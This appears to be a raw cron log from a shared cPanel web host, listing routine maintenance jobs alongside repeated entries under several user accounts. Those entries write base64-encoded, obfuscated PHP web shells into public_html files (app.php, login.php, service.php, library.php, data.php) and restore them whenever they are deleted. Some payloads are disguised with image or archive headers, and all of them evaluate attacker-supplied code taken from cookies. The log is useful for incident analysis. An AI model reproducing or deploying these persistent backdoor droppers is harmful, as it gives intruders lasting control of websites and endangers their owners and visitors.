Jun  7 11:22:02 medusa CROND[13884]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:22:02 medusa CROND[13883]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:22:02 medusa CROND[13891]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:22:02 medusa CROND[13895]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:23:01 medusa CROND[15726]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:23:01 medusa CROND[15727]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:23:01 medusa CROND[15728]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:23:01 medusa CROND[15729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:23:01 medusa CROND[15730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:23:01 medusa CROND[15731]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:23:01 medusa CROND[15733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:23:01 medusa CROND[15735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:23:01 medusa CROND[15737]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:23:01 medusa CROND[15738]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:23:01 medusa CROND[15736]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:23:01 medusa CROND[15740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:24:02 medusa CROND[17325]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:24:02 medusa CROND[17326]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:24:02 medusa CROND[17327]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:24:02 medusa CROND[17328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:24:02 medusa CROND[17329]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:24:02 medusa CROND[17331]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:24:02 medusa CROND[17330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:24:02 medusa CROND[17333]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:24:02 medusa CROND[17335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:24:02 medusa CROND[17337]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:24:02 medusa CROND[17339]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:24:02 medusa CROND[17341]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:24:02 medusa CROND[17343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:25:01 medusa CROND[18930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:25:02 medusa CROND[18938]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:25:02 medusa CROND[18941]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:25:02 medusa CROND[18942]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:25:02 medusa CROND[18944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:25:02 medusa CROND[18943]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
